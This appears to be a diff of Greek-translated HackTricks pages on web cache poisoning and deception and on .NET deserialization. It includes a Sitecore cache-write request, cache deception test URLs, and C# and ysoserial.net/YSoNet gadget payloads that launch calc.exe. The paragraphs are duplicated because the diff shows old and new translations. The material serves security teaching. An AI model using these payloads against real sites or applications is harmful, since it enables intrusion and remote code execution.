Ένα μοτίβο ειδικό για Sitecore επιτρέπει μη αυθεντικοποιημένες εγγραφές στο HtmlCache εκμεταλλευόμενο preauth XAML handlers και AjaxScriptManager reflection. Όταν ο handler `Sitecore.Shell.Xaml.WebControl` προσεγγίζεται, ένα `xmlcontrol:GlobalHeader` (παράγωγο του `Sitecore.Web.UI.WebControl`) είναι διαθέσιμο και η ακόλουθη reflective κλήση επιτρέπεται:
```
POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
```
Αυτό γράφει αυθαίρετο HTML κάτω από ένα attackerchosen cache key, επιτρέποντας ακριβές poisoning μόλις τα cache keys γίνουν γνωστά.
{{#ref}}
../../network-services-pentesting/pentesting-web/sitecore/README.md
{{#endref}}
## Ευάλωτα Παραδείγματα
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
Το ATS προώθησε το τμήμα μέσα στη διεύθυνση URL χωρίς να το αφαιρέσει και δημιούργησε το κλειδί cache χρησιμοποιώντας μόνο τον host, τη διαδρομή και το query (αγνοώντας το τμήμα). Έτσι, το αίτημα `/#/../?r=javascript:alert(1)` στάλθηκε στο backend ως `/#/../?r=javascript:alert(1)` και το κλειδί cache δεν είχε το payload μέσα του, μόνο host, διαδρομή και query.
Το ATS προώθησε το fragment μέσα στο URL χωρίς να το αφαιρέσει και δημιούργησε το cache key χρησιμοποιώντας μόνο το host, path και query (αγνοώντας το fragment). Έτσι το αίτημα `/#/../?r=javascript:alert(1)` στάλθηκε στο backend ως `/#/../?r=javascript:alert(1)` και το cache key δεν περιείχε το payload, μόνο host, path και query.
### GitHub CP-DoS
Η αποστολή μιας κακής τιμής στην κεφαλίδα content-type προκάλεσε μια 405 cached απάντηση. Το κλειδί cache περιείχε το cookie, οπότε ήταν δυνατό να επιτεθεί μόνο σε μη εξουσιοδοτημένους χρήστες.
Η αποστολή μη έγκυρης τιμής στο header content-type προκάλεσε ένα 405 cached response. Το cache key περιείχε το cookie, οπότε ήταν δυνατό να επιτεθεί κανείς μόνο σε unauth users.
### GitLab + GCP CP-DoS
Το GitLab χρησιμοποιεί GCP buckets για να αποθηκεύει στατικό περιεχόμενο. **GCP Buckets** υποστηρίζουν την **κεφαλίδα `x-http-method-override`**. Έτσι, ήταν δυνατό να σταλεί η κεφαλίδα `x-http-method-override: HEAD` και να δηλητηριαστεί η cache ώστε να επιστρέφει ένα κενό σώμα απάντησης. Μπορούσε επίσης να υποστηρίξει τη μέθοδο `PURGE`.
Το GitLab χρησιμοποιεί GCP buckets για αποθήκευση static content. **GCP Buckets** υποστηρίζουν το **header `x-http-method-override`**. Έτσι ήταν δυνατό να σταλεί το header `x-http-method-override: HEAD` και να poison the cache ώστε να επιστρέψει κενό response body. Μπορεί επίσης να υποστηρίζει τη μέθοδο `PURGE`.
### Rack Middleware (Ruby on Rails)
Σε εφαρμογές Ruby on Rails, συχνά χρησιμοποιείται το Rack middleware. Ο σκοπός του κώδικα Rack είναι να πάρει την τιμή της κεφαλίδας **`x-forwarded-scheme`** και να την ορίσει ως το σχήμα του αιτήματος. Όταν σταλεί η κεφαλίδα `x-forwarded-scheme: http`, συμβαίνει μια 301 ανακατεύθυνση στην ίδια τοποθεσία, προκαλώντας ενδεχομένως μια Άρνηση Υπηρεσίας (DoS) σε αυτόν τον πόρο. Επιπλέον, η εφαρμογή μπορεί να αναγνωρίσει την κεφαλίδα `X-forwarded-host` και να ανακατευθύνει τους χρήστες στον καθορισμένο host. Αυτή η συμπεριφορά μπορεί να οδηγήσει στη φόρτωση αρχείων JavaScript από τον διακομιστή ενός επιτιθέμενου, θέτοντας σε κίνδυνο την ασφάλεια.
Σε εφαρμογές Ruby on Rails χρησιμοποιείται συχνά το Rack middleware. Ο σκοπός του Rack είναι να πάρει την τιμή του header **`x-forwarded-scheme`** και να την θέσει ως scheme του request. Όταν σταλεί το header `x-forwarded-scheme: http`, γίνεται 301 redirect στην ίδια τοποθεσία, ενδεχομένως προκαλώντας Denial of Service (DoS) σε αυτόν τον πόρο. Επιπλέον η εφαρμογή μπορεί να αναγνωρίσει το header `X-forwarded-host` και να κάνει redirect τους χρήστες στον συγκεκριμένο host. Αυτή η συμπεριφορά μπορεί να οδηγήσει στο φόρτωμα JavaScript αρχείων από server του attacker, δημιουργώντας κίνδυνο ασφάλειας.
### 403 and Storage Buckets
Η Cloudflare προηγουμένως αποθήκευε 403 απαντήσεις. Η προσπάθεια πρόσβασης σε S3 ή Azure Storage Blobs με λανθασμένες κεφαλίδες εξουσιοδότησης θα είχε ως αποτέλεσμα μια 403 απάντηση που αποθηκεύτηκε. Αν και η Cloudflare έχει σταματήσει να αποθηκεύει 403 απαντήσεις, αυτή η συμπεριφορά μπορεί να είναι ακόμα παρούσα σε άλλες υπηρεσίες proxy.
Το Cloudflare παλαιότερα cached 403 responses. Η προσπάθεια πρόσβασης σε S3 ή Azure Storage Blobs με λανθασμένα Authorization headers προκαλούσε 403 response που μπήκε στην cache. Αν και το Cloudflare έχει σταματήσει να cache-άρει 403 responses, αυτή η συμπεριφορά μπορεί να υπάρχει ακόμα σε άλλες proxy υπηρεσίες.
### Injecting Keyed Parameters
Οι caches συχνά περιλαμβάνουν συγκεκριμένες παραμέτρους GET στο κλειδί cache. Για παράδειγμα, το Varnish της Fastly αποθήκευε την παράμετρο `size` σε αιτήσεις. Ωστόσο, εάν μια URL-encoded έκδοση της παραμέτρου (π.χ. `siz%65`) αποστέλλεται επίσης με λανθασμένη τιμή, το κλειδί cache θα κατασκευαστεί χρησιμοποιώντας την σωστή παράμετρο `size`. Ωστόσο, το backend θα επεξεργαστεί την τιμή στην URL-encoded παράμετρο. Η URL-encoding της δεύτερης παραμέτρου `size` οδήγησε στην παράλειψή της από την cache αλλά στη χρήση της από το backend. Η εκχώρηση μιας τιμής 0 σε αυτή την παράμετρο είχε ως αποτέλεσμα ένα cacheable 400 Bad Request σφάλμα.
Οι caches συχνά συμπεριλαμβάνουν συγκεκριμένες GET παραμέτρους στο cache key. Για παράδειγμα, η Varnish του Fastly cached την παράμετρο `size` στα requests. Ωστόσο, αν μια URL-encoded έκδοση της παραμέτρου (π.χ. `siz%65`) σταλεί επίσης με λανθασμένη τιμή, το cache key θα χτιστεί χρησιμοποιώντας την σωστή παράμετρο `size`. Παρ' όλα αυτά, το backend θα επεξεργαστεί την τιμή στην URL-encoded παράμετρο. Η URL-encoding της δεύτερης `size` παραμέτρου οδηγούσε στην παράβλεψή της από την cache αλλά στη χρήση της από το backend. Η ανάθεση τιμής 0 σε αυτήν την παράμετρο είχε ως αποτέλεσμα ένα cacheable 400 Bad Request error.
### User Agent Rules
Ορισμένοι προγραμματιστές αποκλείουν αιτήσεις με user-agents που ταιριάζουν με εκείνα εργαλείων υψηλής κυκλοφορίας όπως το FFUF ή το Nuclei για να διαχειριστούν το φορτίο του διακομιστή. Σαφώς, αυτή η προσέγγιση μπορεί να εισάγει ευπάθειες όπως η δηλητηρίαση cache και DoS.
Κάποιοι developers μπλοκάρουν αιτήματα με user-agents που ταιριάζουν σε εργαλεία υψηλής κυκλοφορίας όπως FFUF ή Nuclei για να διαχειριστούν το φόρτο του server. Ειρωνικά, αυτή η προσέγγιση μπορεί να εισάγει ευπάθειες όπως cache poisoning και DoS.
### Illegal Header Fields
Το [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) καθορίζει τους αποδεκτούς χαρακτήρες στις κεφαλίδες. Οι κεφαλίδες που περιέχουν χαρακτήρες εκτός της καθορισμένης **tchar** περιοχής θα πρέπει ιδανικά να προκαλούν μια 400 Bad Request απάντηση. Στην πράξη, οι διακομιστές δεν τηρούν πάντα αυτό το πρότυπο. Ένα αξιοσημείωτο παράδειγμα είναι η Akamai, η οποία προωθεί κεφαλίδες με μη έγκυρους χαρακτήρες και αποθηκεύει οποιοδήποτε 400 σφάλμα, εφόσον η κεφαλίδα `cache-control` δεν είναι παρούσα. Ένα εκμεταλλεύσιμο μοτίβο εντοπίστηκε όπου η αποστολή μιας κεφαλίδας με έναν παράνομο χαρακτήρα, όπως το `\`, θα είχε ως αποτέλεσμα ένα cacheable 400 Bad Request σφάλμα.
Το [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) καθορίζει τους αποδεκτούς χαρακτήρες στα ονόματα header. Headers που περιέχουν χαρακτήρες εκτός του καθορισμένου εύρους **tchar** θα έπρεπε ιδανικά να προκαλούν 400 Bad Request response. Στην πράξη, οι servers δεν συμμορφώνονται πάντα με αυτό το πρότυπο. Ένα αξιοσημείωτο παράδειγμα είναι η Akamai, που προωθεί headers με μη έγκυρους χαρακτήρες και cache-άρει οποιοδήποτε 400 error, εφόσον δεν υπάρχει το header `cache-control`. Ένα εκμεταλλεύσιμο pattern εντοπίστηκε όπου η αποστολή ενός header με παράνομο χαρακτήρα, όπως `\`, θα είχε ως αποτέλεσμα ένα cacheable 400 Bad Request error.
### Finding new headers
### Εύρεση νέων headers
[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
## Cache Deception
Ο στόχος της Cache Deception είναι να κάνει τους πελάτες **να φορτώνουν πόρους που πρόκειται να αποθηκευτούν από την cache με τις ευαίσθητες πληροφορίες τους**.
The goal of Cache Deception is to make clients **load resources that are going to be saved by the cache with their sensitive information**.
Πρώτα απ' όλα σημειώστε ότι οι **επέκταση** όπως `.css`, `.js`, `.png` κ.λπ. είναι συνήθως **ρυθμισμένες** να **αποθηκεύονται** στην **cache.** Επομένως, αν αποκτήσετε πρόσβαση στο `www.example.com/profile.php/nonexistent.js`, η cache θα αποθηκεύσει πιθανώς την απάντηση επειδή βλέπει την **επέκταση** `.js`. Αλλά, αν η **εφαρμογή** **αναπαράγει** με το **ευαίσθητο** περιεχόμενο χρήστη που αποθηκεύεται στο _www.example.com/profile.php_, μπορείτε να **κλέψετε** αυτά τα περιεχόμενα από άλλους χρήστες.
Καταρχάς να σημειωθεί ότι επεκτάσεις όπως `.css`, `.js`, `.png` κ.λπ. συνήθως είναι ρυθμισμένες να αποθηκεύονται στην cache. Επομένως, αν επισκεφθείτε `www.example.com/profile.php/nonexistent.js`, η cache πιθανότατα θα αποθηκεύσει το response επειδή εντοπίζει την `.js` επέκταση. Όμως, αν η εφαρμογή επιστρέψει τα ευαίσθητα περιεχόμενα χρήστη που βρίσκονται στο _www.example.com/profile.php_, μπορείτε να κλέψετε αυτά τα περιεχόμενα από άλλους χρήστες.
Άλλα πράγματα για δοκιμή:
Other things to test:
- _www.example.com/profile.php/.js_
- _www.example.com/profile.php/.css_
- _www.example.com/profile.php/test.js_
- _www.example.com/profile.php/../test.js_
- _www.example.com/profile.php/%2e%2e/test.js_
- _Χρησιμοποιήστε λιγότερο γνωστές επεκτάσεις όπως_ `.avif`
- _Use lesser known extensions such as_ `.avif`
Ένα πολύ σαφές παράδειγμα μπορεί να βρεθεί σε αυτή τη γραφή: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
Στο παράδειγμα, εξηγείται ότι αν φορτώσετε μια ανύπαρκτη σελίδα όπως _http://www.example.com/home.php/non-existent.css_, το περιεχόμενο του _http://www.example.com/home.php_ (**με τις ευαίσθητες πληροφορίες του χρήστη**) θα επιστραφεί και ο διακομιστής cache θα αποθηκεύσει το αποτέλεσμα.\
Στη συνέχεια, ο **επιτιθέμενος** μπορεί να αποκτήσει πρόσβαση στο _http://www.example.com/home.php/non-existent.css_ στον δικό του περιηγητή και να παρατηρήσει τις **εμπιστευτικές πληροφορίες** των χρηστών που είχαν πρόσβαση πριν.
Another very clear example can be found in this write-up: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
Στο παράδειγμα εξηγείται ότι αν φορτώσετε μια μη-υπάρχουσα σελίδα όπως _http://www.example.com/home.php/non-existent.css_ το περιεχόμενο του _http://www.example.com/home.php_ (με τις ευαίσθητες πληροφορίες του χρήστη) θα επιστραφεί και ο cache server θα αποθηκεύσει το αποτέλεσμα.\
Στη συνέχεια, ο **attacker** μπορεί να προσπελάσει _http://www.example.com/home.php/non-existent.css_ στον δικό του browser και να δει τις **εμπιστευτικές πληροφορίες** των χρηστών που επισκέφτηκαν προηγουμένως.
Σημειώστε ότι ο **cache proxy** θα πρέπει να είναι **ρυθμισμένος** να **αποθηκεύει** αρχεία **βάσει** της **επέκτασης** του αρχείου (_.css_) και όχι βάσει του content-type. Στο παράδειγμα _http://www.example.com/home.php/non-existent.css_ θα έχει ένα `text/html` content-type αντί για ένα `text/css` mime type (το οποίο είναι το αναμενόμενο για ένα _.css_ αρχείο).
Σημειώστε ότι ο **cache proxy** θα πρέπει να είναι **configured** να cache-άρει αρχεία βάσει της επέκτασης του αρχείου (_.css_) και όχι βάσει του content-type. Στο παράδειγμα _http://www.example.com/home.php/non-existent.css_ το content-type θα είναι `text/html` αντί για `text/css` mime type.
Μάθετε εδώ πώς να εκτελέσετε [Cache Deceptions επιθέσεις εκμεταλλευόμενοι το HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
Μάθετε εδώ πώς να πραγματοποιήσετε [Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
## Automatic Tools
## Αυτόματα Εργαλεία
- [**toxicache**](https://github.com/xhzeem/toxicache): Σαρωτής Golang για να βρει ευπάθειες δηλητηρίασης web cache σε μια λίστα URL και να δοκιμάσει πολλές τεχνικές ένεσης.
- [**toxicache**](https://github.com/xhzeem/toxicache): Golang scanner για να βρει web cache poisoning vulnerabilities σε μια λίστα URL και να δοκιμάσει πολλαπλές τεχνικές injection.
## References
## Αναφορές
- [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning)
- [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities)
@ -271,6 +290,7 @@ Defenses:
- [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)
- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
- [Burp Proxy Match & Replace](https://portswigger.net/burp/documentation/desktop/tools/proxy/match-and-replace)
- [watchTowr Labs Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,38 +1,38 @@
# Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
# Βασική .Net αποσειριοποίηση (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
{{#include ../../banners/hacktricks-training.md}}
Αυτή η ανάρτηση είναι αφιερωμένη στο **να κατανοήσουμε πώς εκμεταλλεύεται το gadget ObjectDataProvider** για να αποκτήσουμε RCE και **πώς** οι βιβλιοθήκες Serialization **Json.Net και xmlSerializer μπορούν να κακοποιηθούν** με αυτό το gadget.
Αυτή η ανάρτηση αφιερώνεται στο **να κατανοήσουμε πώς εκμεταλλεύεται το gadget ObjectDataProvider** για να αποκτηθεί RCE και **πώς** οι βιβλιοθήκες Serialization **Json.Net και xmlSerializer μπορούν να καταχραστούν** με αυτό το gadget.
## ObjectDataProvider Gadget
Από την τεκμηρίωση: _η κλάση ObjectDataProvider περιτυλίγει και δημιουργεί ένα αντικείμενο που μπορείτε να χρησιμοποιήσετε ως πηγή δέσμευσης_.\
Ναι, είναι μια περίεργη εξήγηση, ας δούμε τι έχει αυτή η κλάση που είναι τόσο ενδιαφέρον: Αυτή η κλάση επιτρέπει να **περιτυλίξετε ένα αυθαίρετο αντικείμενο**, να χρησιμοποιήσετε _**MethodParameters**_ για να **ορίσετε αυθαίρετες παραμέτρους,** και στη συνέχεια **να χρησιμοποιήσετε το MethodName για να καλέσετε μια αυθαίρετη συνάρτηση** του αυθαίρετου αντικειμένου που δηλώνεται χρησιμοποιώντας τις αυθαίρετες παραμέτρους.\
Επομένως, το αυθαίρετο **αντικείμενο** θα **εκτελέσει** μια **συνάρτηση** με **παραμέτρους ενώ αποσυμπιέζεται.**
Από την τεκμηρίωση: _η κλάση ObjectDataProvider τυλίγει και δημιουργεί ένα αντικείμενο που μπορείτε να χρησιμοποιήσετε ως binding source_.\
Ναι, είναι μια περίεργη εξήγηση, οπότε ας δούμε τι έχει αυτή η κλάση που είναι τόσο ενδιαφέρον: Η κλάση αυτή επιτρέπει να **τυλίξετε ένα αυθαίρετο αντικείμενο**, να χρησιμοποιήσετε _**MethodParameters**_ για να **ορίσετε αυθαίρετες παραμέτρους**, και στη συνέχεια να **χρησιμοποιήσετε MethodName για να καλέσετε μια αυθαίρετη συνάρτηση** του αυθαίρετου αντικειμένου δηλωμένη χρησιμοποιώντας τις αυθαίρετες παραμέτρους.\
Επομένως, το αυθαίρετο αντικείμενο θα **εκτελέσει** μια **συνάρτηση** με **παραμέτρους κατά τη διάρκεια της αποσειριοποίησης.**
### **Πώς είναι αυτό δυνατό**
Ο **System.Windows.Data** χώρος ονομάτων, που βρίσκεται μέσα στο **PresentationFramework.dll** στο `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, είναι όπου ορίζεται και υλοποιείται το ObjectDataProvider.
Το namespace **System.Windows.Data**, που βρίσκεται μέσα στο **PresentationFramework.dll** στο `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, είναι όπου ο ObjectDataProvider ορίζεται και υλοποιείται.
Χρησιμοποιώντας [**dnSpy**](https://github.com/0xd4d/dnSpy) μπορείτε να **εξετάσετε τον κώδικα** της κλάσης που μας ενδιαφέρει. Στην εικόνα παρακάτω βλέπουμε τον κώδικα του **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**
Χρησιμοποιώντας [**dnSpy**](https://github.com/0xd4d/dnSpy) μπορείτε να **επιθεωρήσετε τον κώδικα** της κλάσης που μας ενδιαφέρει. Στην εικόνα παρακάτω βλέπουμε τον κώδικα του **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**
![](<../../images/image (427).png>)
Όπως μπορείτε να παρατηρήσετε, όταν οριστεί το `MethodName`, καλείται το `base.Refresh()`, ας ρίξουμε μια ματιά σε τι κάνει:
Όπως μπορείτε να παρατηρήσετε, όταν το `MethodName` οριστεί καλείται το `base.Refresh()`, ας ρίξουμε μια ματιά τι κάνει αυτό:
![](<../../images/image (319).png>)
Εντάξει, ας συνεχίσουμε βλέποντας τι κάνει το `this.BeginQuery()`. Το `BeginQuery` έχει παρακαμφθεί από το `ObjectDataProvider` και αυτό είναι που κάνει:
Εντάξει, συνεχίζουμε να βλέπουμε τι κάνει το `this.BeginQuery()`. Το `BeginQuery` αντικαθίσταται από τον `ObjectDataProvider` και αυτό κάνει:
![](<../../images/image (345).png>)
Σημειώστε ότι στο τέλος του κώδικα καλεί το `this.QueryWorke(null)`. Ας δούμε τι εκτελεί αυτό:
Σημειώστε ότι στο τέλος του κώδικα καλείται το `this.QueryWorke(null)`. Ας δούμε τι εκτελεί αυτό:
![](<../../images/image (596).png>)
Σημειώστε ότι αυτό δεν είναι ο πλήρης κώδικας της συνάρτησης `QueryWorker`, αλλά δείχνει το ενδιαφέρον μέρος της: Ο κώδικας **καλεί `this.InvokeMethodOnInstance(out ex);`** αυτή είναι η γραμμή όπου **καλείται η μέθοδος**.
Σημειώστε ότι αυτός δεν είναι ο πλήρης κώδικας της συνάρτησης `QueryWorker` αλλά δείχνει το ενδιαφέρον μέρος της: Ο κώδικας **καλεί `this.InvokeMethodOnInstance(out ex);`** — αυτή είναι η γραμμή όπου η μέθοδος που έχει οριστεί εκτελείται.
Αν θέλετε να ελέγξετε ότι απλά ορίζοντας το _**MethodName**_** θα εκτελείται**, μπορείτε να εκτελέσετε αυτόν τον κώδικα:
If you want to check that just setting the _**MethodName**_** it will be executed**, you can run this code:
```java
using System.Windows.Data;
using System.Diagnostics;
@ -52,16 +52,16 @@ myODP.MethodName = "Start";
}
}
```
Σημειώστε ότι πρέπει να προσθέσετε ως αναφορά _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ προκειμένου να φορτώσετε `System.Windows.Data`
Σημειώστε ότι πρέπει να προσθέσετε ως αναφορά _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ προκειμένου να φορτωθεί το `System.Windows.Data`
## ExpandedWrapper
Χρησιμοποιώντας την προηγούμενη εκμετάλλευση, θα υπάρχουν περιπτώσεις όπου το **object** θα **αποσυμπιεστεί ως** μια _**ObjectDataProvider**_ παρουσία (για παράδειγμα στην ευπάθεια DotNetNuke, χρησιμοποιώντας XmlSerializer, το αντικείμενο αποσυμπιέστηκε χρησιμοποιώντας `GetType`). Στη συνέχεια, θα έχει **καμία γνώση του τύπου του αντικειμένου που είναι περιτυλιγμένο** στην _ObjectDataProvider_ παρουσία (`Process` για παράδειγμα). Μπορείτε να βρείτε περισσότερες [πληροφορίες σχετικά με την ευπάθεια DotNetNuke εδώ](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
Χρησιμοποιώντας το προηγούμενο exploit θα υπάρξουν περιπτώσεις όπου το **object** θα **αποσειριοποιηθεί ως** ένα _**ObjectDataProvider**_ instance (για παράδειγμα στην DotNetNuke vuln, χρησιμοποιώντας XmlSerializer, το αντικείμενο αποσειριοποιήθηκε χρησιμοποιώντας `GetType`). Τότε, δεν θα υπάρχει **καμία γνώση του τύπου του αντικειμένου που είναι τυλιγμένο** στην _ObjectDataProvider_ instance (`Process` για παράδειγμα). Μπορείτε να βρείτε περισσότερες [πληροφορίες σχετικά με την DotNetNuke vuln εδώ](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
Αυτή η κλάση επιτρέπει να **καθορίσετε τους τύπους αντικειμένων των αντικειμένων που είναι ενσωματωμένα** σε μια δεδομένη παρουσία. Έτσι, αυτή η κλάση μπορεί να χρησιμοποιηθεί για να ενσωματώσει ένα αντικείμενο πηγής (_ObjectDataProvider_) σε έναν νέο τύπο αντικειμένου και να παρέχει τις ιδιότητες που χρειαζόμαστε (_ObjectDataProvider.MethodName_ και _ObjectDataProvider.MethodParameters_).\
Αυτό είναι πολύ χρήσιμο για περιπτώσεις όπως αυτή που παρουσιάστηκε προηγουμένως, επειδή θα είμαστε σε θέση να **τυλίξουμε το _ObjectDataProvider_** μέσα σε μια **_ExpandedWrapper_** παρουσία και **όταν αποσυμπιεστεί** αυτή η κλάση θα **δημιουργήσει** το _**OjectDataProvider**_ αντικείμενο που θα **εκτελέσει** τη **λειτουργία** που υποδεικνύεται στο _**MethodName**_.
Αυτή η κλάση επιτρέπει να **καθορίσετε τους τύπους των αντικειμένων που είναι ενσωματωμένα** σε μια δεδομένη περίπτωση. Έτσι, αυτή η κλάση μπορεί να χρησιμοποιηθεί για να encapsulate ένα source object (_ObjectDataProvider_) σε έναν νέο τύπο αντικειμένου και να παρέχει τις ιδιότητες που χρειαζόμαστε (_ObjectDataProvider.MethodName_ και _ObjectDataProvider.MethodParameters_).\
Αυτό είναι πολύ χρήσιμο για περιπτώσεις όπως αυτή που παρουσιάστηκε προηγουμένως, επειδή θα είμαστε σε θέση να **περιτυλίξουμε \_ObjectDataProvider**_** μέσα σε μια **_**ExpandedWrapper** \_ περίπτωση και **όταν αποσειριοποιηθεί** αυτή η κλάση θα **δημιουργήσει** το _**OjectDataProvider**_ αντικείμενο που θα **εκτελέσει** τη **συνάρτηση** που υποδεικνύεται στο _**MethodName**_.
Μπορείτε να ελέγξετε αυτόν τον περιτυλιγμένο με τον ακόλουθο κώδικα:
Μπορείτε να ελέγξετε αυτό το wrapper με τον ακόλουθο κώδικα:
```java
using System.Windows.Data;
using System.Diagnostics;
@ -85,11 +85,11 @@ myExpWrap.ProjectedProperty0.MethodName = "Start";
```
## Json.Net
Στη [επίσημη ιστοσελίδα](https://www.newtonsoft.com/json) αναφέρεται ότι αυτή η βιβλιοθήκη επιτρέπει να **Σειριοποιήσετε και αποσειριοποιήσετε οποιοδήποτε αντικείμενο .NET με τον ισχυρό σειριοποιητή JSON του Json.NET**. Έτσι, αν μπορούσαμε να **αποσειριοποιήσουμε το gadget ObjectDataProvider**, θα μπορούσαμε να προκαλέσουμε μια **RCE** απλά αποσειριοποιώντας ένα αντικείμενο.
Στην [επίσημη σελίδα](https://www.newtonsoft.com/json) αναφέρεται ότι αυτή η βιβλιοθήκη επιτρέπει **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**. Έτσι, αν μπορούσαμε να **deserialize the ObjectDataProvider gadget**, θα μπορούσαμε να προκαλέσουμε **RCE** απλώς deserializing ένα αντικείμενο.
### Παράδειγμα Json.Net
### Json.Net example
Πρώτα απ' όλα, ας δούμε ένα παράδειγμα για το πώς να **σειριοποιήσετε/αποσειριοποιήσετε** ένα αντικείμενο χρησιμοποιώντας αυτή τη βιβλιοθήκη:
Πρώτα απ' όλα ας δούμε ένα παράδειγμα για το πώς να **serialize/deserialize** ένα αντικείμενο χρησιμοποιώντας αυτή τη βιβλιοθήκη:
```java
using System;
using Newtonsoft.Json;
@ -134,9 +134,9 @@ Console.WriteLine(desaccount.Email);
```
### Κατάχρηση του Json.Net
Χρησιμοποιώντας [ysoserial.net](https://github.com/pwntester/ysoserial.net) δημιούργησα την εκμετάλλευση:
Χρησιμοποιώντας [ysoserial.net](https://github.com/pwntester/ysoserial.net) δημιούργησα το exploit:
```java
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
@ -147,7 +147,7 @@ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
```
Σε αυτόν τον κώδικα μπορείτε να **δοκιμάσετε την εκμετάλλευση**, απλώς εκτελέστε τον και θα δείτε ότι εκτελείται μια αριθμομηχανή:
Σε αυτόν τον κώδικα μπορείτε να **δοκιμάσετε το exploit**, απλά τρέξτε τον και θα δείτε ότι εκτελείται ένα calc:
```java
using System;
using System.Text;
@ -184,27 +184,27 @@ TypeNameHandling = TypeNameHandling.Auto
}
}
```
## Advanced .NET Gadget Chains (YSoNet & ysoserial.net)
## Προχωρημένες .NET Gadget Chains (YSoNet & ysoserial.net)
Η τεχνική ObjectDataProvider + ExpandedWrapper που παρουσιάστηκε παραπάνω είναι μόνο μία από τις ΠΟΛΛΕΣ αλυσίδες gadget που μπορούν να εκμεταλλευτούν όταν μια εφαρμογή εκτελεί **μη ασφαλή .NET deserialization**. Σύγχρονα εργαλεία red-team όπως το **[YSoNet](https://github.com/irsdl/ysonet)** (και το παλαιότερο [ysoserial.net](https://github.com/pwntester/ysoserial.net)) αυτοματοποιούν τη δημιουργία **έτοιμων προς χρήση κακόβουλων γραφημάτων αντικειμένων** για δεκάδες gadgets και μορφές serialization.
Η τεχνική ObjectDataProvider + ExpandedWrapper που παρουσιάστηκε παραπάνω είναι μόνο μία από ΠΟΛΛΕΣ gadget chains που μπορούν να καταχραστούν όταν μια εφαρμογή εκτελεί **unsafe .NET deserialization**. Σύγχρονα red-team εργαλεία όπως **[YSoNet](https://github.com/irsdl/ysonet)** (και το παλαιότερο [ysoserial.net](https://github.com/pwntester/ysoserial.net)) αυτοματοποιούν τη δημιουργία **έτοιμων προς χρήση κακόβουλων object graphs** για δεκάδες gadgets και μορφές serialization.
Παρακάτω είναι μια συμπυκνωμένη αναφορά των πιο χρήσιμων αλυσίδων που περιλαμβάνονται στο *YSoNet* μαζί με μια γρήγορη εξήγηση του πώς λειτουργούν και παραδείγματα εντολών για τη δημιουργία των payloads.
Παρακάτω υπάρχει μια συμπυκνωμένη αναφορά των πιο χρήσιμων chains που περιλαμβάνονται στο *YSoNet* μαζί με μια γρήγορη εξήγηση του πώς λειτουργούν και παραδείγματα εντολών για τη δημιουργία των payloads.
| Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner |
|--------------|----------------------|--------------------|------------------|
| **TypeConfuseDelegate** | Διαφθείρει την εγγραφή `DelegateSerializationHolder` έτσι ώστε, μόλις υλοποιηθεί, ο delegate να δείχνει σε *οποιαδήποτε* μέθοδο που παρέχεται από τον επιτιθέμενο (π.χ. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
